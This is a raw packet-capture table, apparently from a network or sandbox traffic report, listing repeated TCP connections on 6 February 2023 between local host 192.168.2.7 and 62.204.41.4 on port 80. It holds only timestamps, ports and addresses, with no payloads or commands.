Feb 6, 2023 18:37:53.967655897 CET	50152	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.027542114 CET	80	50151	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:54.027784109 CET	50151	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.028008938 CET	80	50152	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:54.028209925 CET	50152	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.029428005 CET	50152	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.089975119 CET	80	50152	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:54.098175049 CET	80	50152	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:54.098517895 CET	50152	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.200915098 CET	50152	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.201677084 CET	50153	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.261594057 CET	80	50152	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:54.261867046 CET	50152	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.262567997 CET	80	50153	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:54.262799978 CET	50153	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.264448881 CET	50153	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.325395107 CET	80	50153	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:54.327646971 CET	80	50153	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:54.327816963 CET	50153	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.436377048 CET	50153	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.437345982 CET	50154	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.497307062 CET	80	50153	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:54.497503042 CET	50153	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.497697115 CET	80	50154	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:54.497936964 CET	50154	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.498606920 CET	50154	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.559154987 CET	80	50154	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:54.561449051 CET	80	50154	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:54.561717033 CET	50154	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.671021938 CET	50154	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.671937943 CET	50155	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.731956959 CET	80	50154	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:54.732074976 CET	50154	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.733342886 CET	80	50155	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:54.733463049 CET	50155	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.734216928 CET	50155	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.794472933 CET	80	50155	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:54.797312021 CET	80	50155	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:54.797427893 CET	50155	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.905317068 CET	50155	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.905999899 CET	50156	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.966398001 CET	80	50155	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:54.966507912 CET	50155	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.967443943 CET	80	50156	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:54.967566967 CET	50156	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:54.967951059 CET	50156	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.029504061 CET	80	50156	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:55.031579018 CET	80	50156	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:55.031677008 CET	50156	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.142087936 CET	50156	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.142715931 CET	50157	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.203994036 CET	80	50156	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:55.204101086 CET	50156	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.204338074 CET	80	50157	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:55.204468012 CET	50157	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.206070900 CET	50157	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.268013954 CET	80	50157	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:55.272998095 CET	80	50157	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:55.273112059 CET	50157	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.388391018 CET	50157	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.389235020 CET	50158	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.450145006 CET	80	50157	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:55.450285912 CET	50157	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.450860023 CET	80	50158	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:55.451004028 CET	50158	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.451858997 CET	50158	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.513494015 CET	80	50158	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:55.515927076 CET	80	50158	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:55.516064882 CET	50158	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.623675108 CET	50158	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.625310898 CET	50159	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.685703993 CET	80	50158	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:55.685792923 CET	80	50159	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:55.685868979 CET	50158	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.685954094 CET	50159	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.686513901 CET	50159	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.747102022 CET	80	50159	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:55.749275923 CET	80	50159	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:55.749490976 CET	50159	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.860598087 CET	50159	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.861525059 CET	50160	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.921751022 CET	80	50159	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:55.922743082 CET	50159	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.923077106 CET	80	50160	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:55.923243046 CET	50160	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.923634052 CET	50160	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:55.985341072 CET	80	50160	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:55.987483978 CET	80	50160	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:55.990745068 CET	50160	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.108628035 CET	50160	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.110384941 CET	50161	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.170348883 CET	80	50160	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:56.170464993 CET	50160	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.170897007 CET	80	50161	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:56.171088934 CET	50161	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.171482086 CET	50161	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.231930971 CET	80	50161	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:56.235949993 CET	80	50161	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:56.236100912 CET	50161	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.342418909 CET	50161	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.343337059 CET	50162	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.403194904 CET	80	50161	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:56.403350115 CET	50161	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.403676987 CET	80	50162	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:56.404438019 CET	50162	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.405411005 CET	50162	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.465981007 CET	80	50162	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:56.468453884 CET	80	50162	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:56.472441912 CET	50162	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.576808929 CET	50162	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.577670097 CET	50163	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.637494087 CET	80	50162	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:56.637743950 CET	50162	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.640229940 CET	80	50163	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:56.640398979 CET	50163	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.641062975 CET	50163	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.703361988 CET	80	50163	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:56.706188917 CET	80	50163	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:56.706290960 CET	50163	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.810472012 CET	50163	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.811322927 CET	50164	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.872132063 CET	80	50164	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:56.872426033 CET	50164	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.873403072 CET	80	50163	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:56.873579025 CET	50163	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.874762058 CET	50164	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:56.935345888 CET	80	50164	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:56.938606977 CET	80	50164	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:56.938774109 CET	50164	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.045037031 CET	50164	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.045938015 CET	50165	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.105824947 CET	80	50164	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:57.106164932 CET	50164	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.107698917 CET	80	50165	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:57.107860088 CET	50165	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.109837055 CET	50165	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.171806097 CET	80	50165	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:57.174860001 CET	80	50165	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:57.175021887 CET	50165	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.280349016 CET	50165	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.281500101 CET	50166	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.342364073 CET	80	50166	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:57.342586994 CET	50166	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.343533993 CET	80	50165	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:57.343625069 CET	50165	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.344196081 CET	50166	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.404313087 CET	80	50166	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:57.407002926 CET	80	50166	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:57.407145977 CET	50166	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.514065027 CET	50166	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.514743090 CET	50167	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.574261904 CET	80	50166	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:57.574433088 CET	50166	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.575670958 CET	80	50167	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:57.575793028 CET	50167	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.576210976 CET	50167	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.640480042 CET	80	50167	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:57.640512943 CET	80	50167	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:57.640598059 CET	50167	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.748456001 CET	50167	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.749223948 CET	50168	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.809921980 CET	80	50167	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:57.810026884 CET	50167	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.811634064 CET	80	50168	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:57.811753988 CET	50168	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.812117100 CET	50168	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.875924110 CET	80	50168	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:57.878155947 CET	80	50168	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:57.878249884 CET	50168	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.984590054 CET	50168	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:57.992352962 CET	50169	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.049452066 CET	80	50168	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:58.049554110 CET	50168	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.054966927 CET	80	50169	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:58.055062056 CET	50169	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.055435896 CET	50169	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.118194103 CET	80	50169	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:58.122500896 CET	80	50169	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:58.122587919 CET	50169	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.241563082 CET	50169	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.242564917 CET	50170	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.302037001 CET	80	50170	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:58.302170038 CET	50170	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.303270102 CET	80	50169	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:58.303352118 CET	50169	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.303704977 CET	50170	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.363866091 CET	80	50170	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:58.366751909 CET	80	50170	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:58.366862059 CET	50170	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.483122110 CET	50170	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.483800888 CET	50171	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.542666912 CET	80	50170	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:58.542820930 CET	50170	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.545386076 CET	80	50171	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:58.546185017 CET	50171	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.553510904 CET	50171	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.615278959 CET	80	50171	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:58.617981911 CET	80	50171	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:58.618078947 CET	50171	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.733377934 CET	50171	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.734127998 CET	50172	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.794626951 CET	80	50172	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:58.794938087 CET	80	50171	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:58.795032978 CET	50172	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.795075893 CET	50171	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.795469999 CET	50172	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.856653929 CET	80	50172	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:58.858475924 CET	80	50172	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:58.858617067 CET	50172	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.971091986 CET	50172	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:58.971865892 CET	50173	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.031730890 CET	80	50172	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:59.033066034 CET	50172	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.033337116 CET	80	50173	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:59.033469915 CET	50173	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.034323931 CET	50173	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.095827103 CET	80	50173	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:59.099589109 CET	80	50173	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:59.103749037 CET	50173	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.222790956 CET	50173	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.223175049 CET	50174	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.283440113 CET	80	50174	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:59.284375906 CET	80	50173	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:59.284375906 CET	50174	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.284534931 CET	50173	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.284898043 CET	50174	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.345405102 CET	80	50174	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:59.348211050 CET	80	50174	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:59.348424911 CET	50174	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.455113888 CET	50174	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.455848932 CET	50175	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.515455008 CET	80	50174	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:59.515631914 CET	50174	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.516580105 CET	80	50175	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:59.516695976 CET	50175	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.517986059 CET	50175	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.578768015 CET	80	50175	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:59.580991983 CET	80	50175	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:59.581161976 CET	50175	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.686863899 CET	50175	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.687900066 CET	50176	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.750258923 CET	80	50175	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:59.750350952 CET	50175	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.752305031 CET	80	50176	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:59.752391100 CET	50176	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.752747059 CET	50176	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.815077066 CET	80	50176	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:59.817588091 CET	80	50176	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:59.817785025 CET	50176	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.921354055 CET	50176	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.923284054 CET	50177	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.983949900 CET	80	50176	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:59.984174013 CET	50176	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.984653950 CET	80	50177	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:59.984797955 CET	50177	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:59.985865116 CET	50177	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.047310114 CET	80	50177	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:00.050785065 CET	80	50177	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:00.050889015 CET	50177	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.155797958 CET	50177	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.157001019 CET	50178	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.217716932 CET	80	50178	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:00.217814922 CET	80	50177	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:00.217972040 CET	50178	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.218033075 CET	50177	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.218801022 CET	50178	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.278567076 CET	80	50178	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:00.281066895 CET	80	50178	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:00.281266928 CET	50178	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.390027046 CET	50178	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.390743017 CET	50179	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.449803114 CET	80	50178	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:00.450038910 CET	50178	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.452200890 CET	80	50179	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:00.452414036 CET	50179	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.453202963 CET	50179	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.514765024 CET	80	50179	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:00.517158985 CET	80	50179	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:00.517268896 CET	50179	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.624491930 CET	50179	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.625421047 CET	50180	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.686331034 CET	80	50179	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:00.686522961 CET	50179	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.687072039 CET	80	50180	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:00.687201977 CET	50180	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.687932014 CET	50180	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.749569893 CET	80	50180	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:00.751907110 CET	80	50180	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:00.752046108 CET	50180	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.866127968 CET	50180	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.867163897 CET	50181	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.927989006 CET	80	50180	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:00.928097010 CET	50180	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.929826975 CET	80	50181	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:00.929944992 CET	50181	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.930274963 CET	50181	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:00.992786884 CET	80	50181	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:00.995223045 CET	80	50181	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:00.995311022 CET	50181	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.110606909 CET	50181	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.114099979 CET	50182	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.173655033 CET	80	50181	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:01.173727989 CET	80	50182	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:01.173780918 CET	50181	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.173835993 CET	50182	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.180151939 CET	50182	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.239968061 CET	80	50182	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:01.245896101 CET	80	50182	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:01.246042013 CET	50182	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.358027935 CET	50182	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.358670950 CET	50183	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.417932034 CET	80	50182	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:01.418023109 CET	50182	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.420450926 CET	80	50183	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:01.420605898 CET	50183	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.423474073 CET	50183	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.485131979 CET	80	50183	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:01.488751888 CET	80	50183	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:01.488853931 CET	50183	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.595163107 CET	50183	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.595837116 CET	50184	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.656461000 CET	80	50184	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:01.656656027 CET	50184	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.656892061 CET	80	50183	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:01.657351017 CET	50183	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.659964085 CET	50184	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.720777988 CET	80	50184	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:01.723052025 CET	80	50184	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:01.724104881 CET	50184	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.833569050 CET	50184	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.834350109 CET	50185	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.894476891 CET	80	50184	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:01.895263910 CET	80	50185	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:01.895750046 CET	50184	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.895801067 CET	50185	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.897078991 CET	50185	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:01.957969904 CET	80	50185	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:01.960419893 CET	80	50185	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:01.960580111 CET	50185	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.077946901 CET	50185	80	192.168.2.7	62.204.41.4
